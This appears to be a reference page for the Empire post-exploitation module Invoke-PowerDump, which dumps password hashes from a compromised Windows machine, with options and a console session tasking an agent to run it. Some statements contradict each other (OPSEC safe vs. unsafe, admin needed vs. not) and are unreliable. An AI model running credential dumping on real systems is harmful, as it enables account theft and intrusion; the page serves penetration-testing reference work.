Invoke-PowerDump - Empire Module


This page contains detailed information about how to use the powershell/credentials/powerdump Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-PowerDump
Module: powershell/credentials/powerdump
Source code [1]: empire/server/modules/powershell/credentials/powerdump.yaml
Source code [2]: empire/server/data/module_source/credentials/Invoke-PowerDump.ps1
MITRE ATT&CK: T1003
Language: PowerShell
Needs admin: Yes
OPSEC safe: Yes
Background: Yes

The powerdump module dumps hashes from the local system using an updated version of Posh-SecMod's Invoke-PowerDump.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the powerdump module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the powerdump module:

Agent
Agent to run module on.

Additional Module Options

This is a list of additional options that are supported by the powerdump module:

OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.

Powerdump Example Usage

Here's an example of how to use the powerdump module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/credentials/powerdump

 Author       DarkOperator                                                          
              winfang                                                               
              Kathy Peters                                                          
              ReL1K                                                                 
              @Cx01N                                                                
 Background   True                                                                  
 Comments     https://github.com/darkoperator/Posh-                                 
              SecMod/blob/master/PostExploitation/PostExploitation.psm1             
              https://www.insecurity.be/blog/2018/01/21/retrieving-ntlm-hashes-and- 
              what-changed-technical-writeup/                                       
              https://github.com/rapid7/metasploit-                                 
              framework/blob/master/modules/post/windows/gather/hashdump.rb         
 Description  Dumps hashes from the local system using an updated version of Posh-  
              SecMod's Invoke-PowerDump.                                            
 Language     powershell                                                            
 Name         powershell/credentials/powerdump                                      
 NeedsAdmin   True                                                                  
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1003                              


,Record Options--,------------,----------,-------------------------------------,
| Name           | Value      | Required | Description                         |
|----------------|------------|----------|-------------------------------------|
| Agent          |            | True     | Agent to run module on.             |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False    | PowerShell's output function to use |
|                |            |          | ("Out-String", "ConvertTo-Json",    |
|                |            |          | "ConvertTo-Csv", "ConvertTo-Html",  |
|                |            |          | "ConvertTo-Xml").                   |
'----------------'------------'----------'-------------------------------------'

(Empire: usemodule/powershell/credentials/powerdump) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/credentials/powerdump) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

  • DarkOperator
  • winfang
  • Kathy Peters
  • ReL1K
  • @Cx01N

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.